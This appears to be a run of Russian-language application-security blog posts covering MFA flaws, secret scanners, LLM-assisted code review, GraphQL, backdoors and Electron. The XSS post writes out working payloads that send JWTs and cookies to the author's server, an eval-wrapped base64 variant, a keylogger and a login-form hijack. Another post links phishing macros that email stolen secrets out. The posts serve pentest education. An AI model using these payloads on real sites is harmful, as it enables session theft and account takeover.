Немного о типичных ошибках реализации MFA (мульти-факторная аутентификация). Чаще всего это связка логин/пароль + код подтверждения. Последний отправляется по СМС, на почту, получается из Authenticator приложения или другим способом.

Самая распространенная ошибка реализации - отсутствие защиты от брутфорса кода подтверждения (и пароля тоже). Код обычно несложный, чаще числовой, 4-6-значные перебираются за пару минут.

Второе по популярности, ошибки в последовательности проверки. Например, проверяется первый фактор (пароль), потом второй (код). Часто какую-то из этих проверок можно пропустить, например перейти к вводу кода без правильного пароля или наоборот. В сочетании с первой ошибкой приводит к полному обходу аутентификации.

Часто встречаются ошибки в логике проверки, когда на этапе подтверждения кода можно изменить имя пользователя, получить некий разрешающий токен, применимый к любому пользователю.

Недавно видел реализацию, когда при вводе правильного пароля пользователю выдавался токен для указания на втором этапе, во избежание обхода последовательности этапов. Но этот же токен можно было получить при запросе на восстановление пароля, что давало возможность сразу перейти ко второму этапу.

На днях провел презентацию подходов к автоматизации внешнего и внутреннего сканирования на уязвимости инфраструктуры и веб приложений.

Поговорили про EASM (External Attack
Surface Management) и какие его части можно автоматизировать,.
Например, поиск поддоменов, IP, пользователей и утекших паролей, использование этого всего для формирования поверхности атаки, сканирований и брута сервисов.

Не забыли и про полезный способ генерации правил для Nuclei с помощью AI и прогона по всей поверхности атаки для проверки на свежие CVE.

https://github.com/cepxeo/send4creds

В дополнение к недавнему посту об опасности хранения пользовательских сессионных идентификаторов и прочих секретов в предсказуемых локальных путях без шифрования решил опубликовать коллекцию скриптов по их извлечению с компьютеров.

Первая партия - это макросы для «вредоносных» офисных документов, которые могут рассылаться в рамках фишинга или размещаться на разных ресурсах для скачивания.

При запуске, нужные файлы отправляются через Outlook на адрес атакующего, далее используются для угона сессий, ключей и прочих секретов.

Опасность таких макросов в том, что они не определяются СЗИ как вредоносные, так как выполняют вполне легитимные действия.

На очереди скрипты для html smuggling и других сценариев.

Про безопасность мессенджеров. Навеяно недавней уязвимостью в WhatsApp, позволяющей выполнить вредносный код через PDF превью фичу приложения.

Так вот, в 2023 довелось протестировать MS Teams для всех популярных ОС. Нашел 4 уязвимости, связанных с IDOR - неистекаемыми ссылками на файлы (недавно рассказывал что это), и обходом DLP - ограничений, не позволяющих копр юзерам копировать данные компании из/в приложение.

Микрософт принял все к исправлению, поблагодарил за службу. С тех пор ни одна уязвимость не исправлена, висят в статусе Develop.

Три месяца назад имел возможность протестировать российский корп мессенджер eXpress, примерный аналог Teams. Без DLP, но с on-prem установкой серверов. В скоуп также вошли веб, десктоп и мобильные приложения.

Результат - 40 с чем-то уязвимостей, 9 - высокого уровня риска (по CVSS 3.1).

Как думаете, сколько было принято к исправлению и сколько будет исправлено?

Всем привет! Готовлю презентацию по автоматизации сканирования кода (SAST) на уязвимости с локальными LLM. Рассказывать буду в апреле, пока поделюсь тезисами:

Процесс такой - в репозитории находим файлы, требующие анализа, направляем по локалке в LLMку через API, получаем ответ по каждому отправленному файлу. Ответы парсим, склеиваем, получаем html как на примере выше. Индивидуально уязвимости отправляем в Jira / Dojo и т.п.

Адекватные и консистентные результаты дают модели, тренированные на коде с 30B параметрами и выше. Я использую Qwen2.5-Coder-32B-Instruct. QwQ-32B тоже ничего, но медленнее Qwen раза в 4, остальные не тянут. По ресурсам для 32B модели нужно 20-40 Гб VRAM (видеопамяти), зависит от размера поддерживаемого контекста.

Результаты зависят от размера, качества и настроек самой модели, величины контекста, железа и т.п. С учетом темпов развития железа и моделей такой подход может вполне заменить сигнатурные SASTы.

Всем привет и скорейшего наступления выходных. Расскажу про поиск секретов в коде, так как это обязательная часть любой AppSec программы. Я использую несколько опен сорсных сканеров:

https://github.com/Yelp/detect-secrets
https://github.com/gitleaks/gitleaks
https://github.com/praetorian-inc/noseyparker
https://github.com/trufflesecurity/trufflehog

Запустить их из папки с кодом можно так:

docker run --rm -v $(pwd):/src trufflesecurity/trufflehog git file://../../src -j

docker run --rm -v $(pwd):/src zricethezav/gitleaks detect -s="/src" -r="/src/gitleaks-report.json"

docker run --rm -v $(pwd):/scan ghcr.io/praetorian-inc/noseyparker report --format json -o /scan/parker-report.json

docker run --rm -v $(pwd):/src hysnsec/detect-secrets -C /src scan --all-files | tee secrets-result.json

На выходе получаем json, который читаем, парсим или грузим в Dojo.

Если есть пайплайн в гитлабе, можно сканировать код регулярно:

secrets-scanning:
stage: build
noscript:
- docker run -v $(pwd):/src --rm hysnsec/trufflehog filesystem --directory=/src --json | tee trufflehog-output.json
artifacts:
paths: [trufflehog-output.json]
when: always
expire_in: one week
allow_failure: false

Здесь специально указал другой способ запуска Trufflehog через filesystem, его часто используют, но я предпочитаю git file как в примере выше.

Вообще Trufflehog был замечен мною на сливе секретов, поэтому советую его использовать только в оффлайне. С остальными такого не наблюдал. Подробнее расскажу в следующем посте.

TruffleHog, наверное самый популярный сканер секретов. С ним была такая история.

Есть великолепный сервис https://canarytokens.org, позволяет генерить файлы и секреты приманки. При открытии файла или попытки использовать приманку (например ключи от AWS / Azure), на почту приходит уведомление, как на картинке. Вот таких секретов я нагенерил и распихал по кодовым базам, папкам и проч.

Так вот, часа через 2 после сканирования TruffleHog тестового репозитория с такими приманками, получаю алерт. Сканирую ещё раз, через пару часов опять алерт.

Зачем ребятам из Truffle Security использовать мои секреты сильно после сканирования я не знаю, но с тех пор делаю 2 вещи.

1 - TruffelHog не использую для продового кода, хороших сканеров секретов достаточно, а если очень надо, то на офлайн виртуалке.

2 - новые сканеры кода проверяю таким же способом, с другими пока алертов не получал.

Заехал тут на Black Hat Asia, несколько интересных моментов с выступлений:

RCE выполнение кода из зараженного репозитория возможно через git push. Она же Server Push Attack. Делается через git init --bare и размещение в репе prehook скрипта. Техника использовалась для захвата контроля над CI/CD серверами Bamboo, GitLab и других. Также понравилось выполнение кода через «отравление» environment variables. The Illusion of Isolation: How Isolation Failures in CI/CD Servers Lead to RCE and Privacy Risks

Большинство/все китайские мессенджеры используют кастомное шифрование трафика, тогда как другие/US предпочитают “классический” TLS. В кастомной крипте MMTLS от WeChat и других нашли не/серьезные баги (какая неожиданность). Should We Chat, Too? Security Analysis of WeChat's MMTLS Encryption Protocol https://citizenlab.ca/2024/10/should-we-chat-too-security-analysis-of-wechats-mmtls-encryption-protocol/

Лучшая защита от LLM prompt injection - техники guardrails, когда ответ LLM отправляют на проверку в другую LLM с запросом скоринга соответствия разрешенным. Наравне с пониманием как работает софт, какие используются сторонние wrappers, менеджеры LLM, агенты и т.п. RCE почти всегда через достигается именно через сторонний код - Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots

Фроды через маркетплейсы - это дикий запад, сговоры и кидалово на всех уровнях от производителей, поставщиков, складов, до сервисов доставки и покупателей. Сервисы FaaS - Fraud as a Service помогают отжимать бабки с лохов с гарантией и большой командой тех поддержки. В продаже девайсы на базе малины, эмулирующие армию Android для накрутки рейтингов и других манипуляций. Очень много типов фродов и подробностей - Fake Deals and Real Steals: The Art of E-Commerce Fraud

Всем привет! Как обещал, делюсь презентацией со своего недавнего выступления по использованию LLM для анализа уязвимостей.

Рассказал про 7 примеров применения LLM из своего опыта, от анализа исходного кода до генерации описания уязвимостей и пентест отчетов.

Поделился наработками по установке и настройке локальных моделей, походам к поиску уязвимостей в коде, веб приложениях и инфраструктуре, а также по верификации результатов, снижения фолсов, работе с отчетами.

Всем привет. В свете растущей популярности ML расскажу про недавний случай.

Анализировал защищенность веб приложения, выдающее трейдерам агрегированные показатели, полученные из публичных источников. На первый взгляд некритичное приложение с очень небольшой поверхностью атаки.

В процессе тестирования всплыл GraphQL - популярный аналог REST API. Хорош он прежде всего тем, что выдает в ответ на {"query":"{__schema{types{name,fields{name}}}}"} (см пример на скрине) всю структуру своего API, со всеми возможными параметрами, эдакая документация.

Ответ парсим (я использую InQL расширение для Burp) и дальше смотрим какие запросы доступны в дополнение к используемым веб приложением.

Самые интересные запросы идут в разделе Mutation (опять же на скрине), аналог POST/PUT, используются для изменения данных. В моем случае один такой запрос был доступен без аутентификации и позволял отправить в бэк данные с рынков.

После общения с разработчиками выяснилось, что запрос использовался для ежедневного обновления ML модели, которая потом выдавала рекомендации по покупке/продаже. Можно было повлиять на эти рекомендации, замусорив модель поддельными данными, что привело бы неверным решениям и потерям.

Учитывайте такие возможности при анализе безопасности ML решений. Модели надо как-то тренировать и часто это происходит через API или сторонние приложения. В таких случаях можно повлиять на целостность данных для обучения с дальнейшими последствиями.

Ещё одна интересная тема, которая регулярно поднимается при анализе кода, это бэкдоры/закладки.

Под бэкдором понимается любой функционал или секреты, которые дают привилегированный доступ к приложению в обход стандартных процедур аутентификации/авторизации.

Чаще всего такой функционал добавляется разработчиками для удаленного решения проблем, отладки ошибок или по просьбе заказчика с похожими целями. Реже - для корыстных целей.

Бэкдоры бывают разные, расскажу какие сам видел:

Статические секреты. Если такой логин/пароль, значение OTP, сессионный токен, то войти как админ или обнулить пароль заданному юзеру. Самое распространенное - SECRET_KEY для подписи JWT. Знаешь key и как выглядит токен - генеришь, подписываешь, заходишь под любым пользователем.

Специальные пути / routes. Зная путь, получаешь прямой доступ к админ/дебаг/shell консоли. Были и совсем смешные случаи как на скрине (реальное приложение от крупного вендора).

Изменение логики / logic bombs - добавление в стандартные функции аутентификации/авторизации определенных значений или дополнительных параметров, зная которые, получаешь привилегированный доступ. Часто такое сопровождается обфускацией, запутыванием для code review.

"Зараженные" зависимости - самое распространенное для корыстных целей. Сам код чистый, а логика бэкдора в зависимости/внешней бибилотеке, которая подтягивается при деплое.

Выполнение по времени - "01.09.2026" или "каждые полгода" удалить/зашифровать все данные/контейнеры, создать пользователя в БД, выполнить реверс шелл.

Эксплуатация XSS становится все сложнее. Фреймворки кодируют вывод. Флаги для кук, хедеры безопасности, CSP с CORS ом не дают воспользоваться заветной уязвимостью. Однако показать alert('XSS') в отчете это моветон, на баг баунти такое вообще не примут. Покажу пару трюков, которые позволят аргументированно зарепортить XSS.

btoa/atob - полезны для one liner ов, кодируют пейлоад в/из base64. Например, нужно переслать JWT из Local Storage, пейлоад будет выглядеть примерно так:

fetch("https://myappsec.ru/token?t=" + btoa(localStorage.getItem("tokenData")), {mode: "no-cors"})

Тоже самое для Cookie, при условии что нет HttpOnly флага:

fetch("https://myappsec.ru/token?t=" + btoa(document.cookie), {mode: "no-cors"})

Здесь мы кодируем значение tokenData/куки в base64 перед пересылкой на наш сервер. Здорово, но весь пейлоад содержит спец символы, которые с большой вероятностью будут отфильтрованы, кодируем весь пейлоад Base64 и раскодируем перед выполнением eval:

<img src='/' onerror='eval(atob("ZmV0Y2goImh0dHBzOi8vbXlhcHBzZWMucnUvdG9rZW4/dD0iICsgYnRvYShsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgidG9rZW5EYXRhIikpLCB7bW9kZTogIm5vLWNvcnMifSk="))' />

Если приложение использует куки с HttpOnly, CSP настроено правильно, внешние скрипты не грузятся, какие ещё есть варианты?

Внедрить кейлоггер, обернув в eval(atob(, как на примере выше:

function logKey(event){fetch("http://myappsec.ru/k?key=" + event.key)}; document.addEventListener('keydown', logKey);

Заменить значение формы перед отправкой, например подменить получателя платежа или адрес доставки:

document.forms[0].onsubmit = function() {document.forms[0].elements[0].value="hacked";}

Заменить всю страницу, но тут уже много символов, может не влезть в one liner:

fetch("login").then(res => res.text().then(data => {
document.getElementsByTagName("html")[0].innerHTML = data
document.getElementsByTagName("form")[0].action = "https://myappsec.ru"
document.getElementsByTagName("form")[0].method = "get"
}))

https://www.youtube.com/watch?v=Z8n_DwuNRH8

Появилась запись выступления с BSides Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots, о которой писал ранее с BlackHat.

Хороший обзор по prompt injection атакам и защите от них.

Electron - популярный фреймворк для разработки кросс-платформенных десктоп приложений. MS Teams, VS Code, Postman, Obsidian, Docker Desktop и куча других, в том числе российских разработок, написаны на электроне. Регулярно встречаю его при анализе, расскажу про пару особенностей.

По сути электрон - это Node.js приложение, которое разворачивается локально на компе пользователя и рендерится через Chromium. Основной код хранится в .asar файлах, которые на самом деле архивы с JS кодом. По умолчанию целостность архивов не проверяется загрузчиком, что позволяет подменить эти файлы на вредносные.

Опасность его и в том, что, благодаря кросс-платформенности, можно выполнить одинаковый вредонос и на винде и на маке и на линуксе, компиляция под конкретную ось не требуется.

На макоси вообще вся безопасность построена на проверки целостности выполняемого кода, AV нету, поэтому каждое электрон приложение, которое вы подтвердили для установки, уязвимо для произвольного выполнения кода при замене любого asar файла.

По этой теме есть целый C2 фреймворк https://github.com/boku7/Loki

Вторая особенность электрона - дырявый механизм обновления electron-updater. Он не проверяет ни источник загрузки обновлений, ни целостность загружаемых файлов, вся безопасность механизма опирается на SSL верификацию соединения. То есть при эксплуатации первой asar уязвимости, можно настроить обновление на регулярное получение новых вредоносов.

Защита electron приложений заключается в их правильной настройке, таких как проверка целостности asar ов и обновлений.

А пока вендоры неспешно их обновляют, проверьте сколько у вас .asar файлов на любимом ноуте. Все они - потенциальные бэкдоры.